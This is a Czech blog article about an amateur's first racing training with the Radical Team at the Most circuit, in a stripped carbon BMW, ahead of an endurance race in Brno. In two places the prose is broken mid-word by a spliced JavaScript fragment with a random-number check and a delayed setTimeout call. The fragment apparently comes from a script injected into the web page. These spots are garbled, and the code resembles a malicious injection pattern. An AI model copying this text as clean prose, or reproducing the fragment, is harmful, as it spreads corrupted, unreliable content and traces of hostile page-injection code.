Radikální autodlak

Gallardo, Vantage, BRZ, GTR, CL55 AMG… všechny tyhle auta a řadu dalších se mi za posledního tři čtvrtě roku poštěstilo díky založení Autodlaka řídit. Sen se splnil. Jenže spolu s tím taky rychle přišlo zjištění, že kvůli svým řidičským limitům je nedokážu pořádně vytěžit. Nikdy jsem si taky nehrál na mistra volantu. Autodlak je od začátku příběhem o tom, jak se řadovej fandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anda bez zkušeností vydal na svojí vysněnou cestu do automobilovýho nebe. Má předávat emoce a zážitky, ne detailně popisovat chování sporťáků na limitu. Přesto je nevyhnutelné zahájit vedle běžných testů i další etapu: naučit se řídit. Tohle berte jako první kapitolu.

S Martinem Semerádem jsem se domluvil na účasti v jeho Driving Academy, zkušenosti čerpám, kde se dá, ale závody, to je jiný kafe. „Kašli na kruzy, skoč do vody rovnou!“ napsal mi po Facebooku kamarád Michal Bláha, člen Radical Teamu, když mě lákal do novýho programu pro začátečníky. Cílem je komukoliv umožnit účast ve skutečných závodech a ukázat, že nejsou jen pro boháče a vyvolené. Něco to stojí, ale velký zisk z toho pánové nemají a určitě je to nekonečně lepší investice, než někde na letišti kroužit 15 minut v Porsche. A komu to půjde, ten se může stát i posilou za volantem Radicalu.

Je neuvěřitelný, jakej stroj pro tuhle příležitost vznikl z prastarýho BMW, který má nalítáno přes 300 000 kilometrů. Ne, že by toho z něj moc zbylo, takže koroze fakt nebyla problém. Výbava kromě rámu zahrnuje volant, dvě sedačky a pár děsně sexy čudlíků s krytkou jako ve stíhačce. Spolujezdec se musí obejít i bez kliky u dveří. A když se podíváte za sebe, dírou kolem vejfuků můžete kontrolovat kvalitu asfaltu. Prakticky celé auto je z karbonu a výsledkem je hmotnost pod tunu. Dvouapůllitr s výkonem něco málo přes 200 koní tak s autem umí hodně slušně zacvičit, aniž by zároveň začátečníky zabíjel po desítkách, a nepřijdete ani o půl decibelu z parádního závodního zvuku.

Abychom při prvním sobotním tréninku v Mostě nebyli tak nervózní, dostali jsme pár rad do začátku. Jde to fakt snadno zadkem napřed, když na výjezdu neodhadnete plyn. Když nebudete řadit správně a rychle, zničíte spojku za pár kol. Pokud neumíte patou švihat jeden meziplyn za druhým, počítejte s tím, že se vám při podřazování budou blokovat zadní kola. A pak ještě následoval výčet míst na okruhu, kde je nejsnazší se rozsekat, a několik tipů ke každé zatáčce, z nichž jsem si zapamatoval asi desetinu. Paráda, už jsem úplně klidnej!

Co ale doopravdy uklidňovalo, byla atmosféra na místě. Nejde ani tak o to, že jsem tu potkal řadu známých ze světa internetu, ale i lidé cizí a nesmírně zkušení se ke každému chovali jako k sobě rovnému. „Závodění je vážně nejlepší a nejbezpečnější způsob, jak se naučit řídit,“ povzbudil mě třeba Honza Červenka, který nešetřil radami ani zážitky z nedávného testování Porsche 918. A i když se vám někdo přijde vysmát, jak vás ve svým golfu na zimákách a se zaplou stabilizací v tom vašem závodním BMW roztrhal, myslí to dobře. Nejspíš. A jestli ne, tak mi stejně může políbit… Ale spíš to fakt myslí dobře.

Jízda samotná je naprosto pohlcující. Při plným plynu jsem neslyšel ani slovo z instrukcí, takže jsem občas ideální stopu marně hledal přesně na opačné straně tratě. A přiznávám, hlavně jednu těžkou sérii zatáček jsem ani jednou neprojel správně. Jenže ono toho je na člověka vážně hodně. Během okamžiku musí vyhodnotit správnou stopu, vlítnout ve správnou chvíli nemilosrdně na brzy a zase je včas pustit, několikrát podřadit, pořád se nutit koukat alespoň o zatáčku dál, i když má pocit, že přímo před čumákem se schyluje k něčemu brutálnímu, potlačovat strach, kontrolovat se při šlapání na plyn… A do toho tolik řevu, radosti a vzrušení, že mozek chvílemi vypíná i méně potřebné životní funkce, aby to stíhal.

Připadalo mi, že každá půlhodina trvala sotva tři minuty, takže ani moc nedokážu zpětně popsat, co všechno se dělo nebo nedělo. Pokroky člověk cítí doslova s každým kolem, ale to je stejné, jako že se země typu Rwandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andy může chlubit raketovým růstem DPH. Ještě znatelnější jsou ostatně chyby, takže skoro každý z nás začátečníků vystupoval z auta zkroušený a s výkřikem: „Ty vole já jsem lama!“ Když vás každá chybička okamžitě praští přes prsty, sebekritice není kam uniknout.

Pořád mi vlastně nedochází, že příště se do něj posadím až naostro – při vytrvalostním závodě v Brně. Bude to asi trochu ostuda, ale s tím jsem smířenej stejně tak já, jako zbylí závodníci a organizátoři. Začátky jsou holt těžký nejen fyzicky, ale taky pro ego. Do tý doby jsem si dal dva úkoly. Za prvé, zapamatovat si trať, ať neztrácím tolik energie přemýšlením o stopě. Za druhé, a to je ještě o něco důležitější, naučit se nastupovat a vystupovat z auta s rámem tak, abych při tom nevypadal jako úplnej retard.

Share on facebook
sdílej článek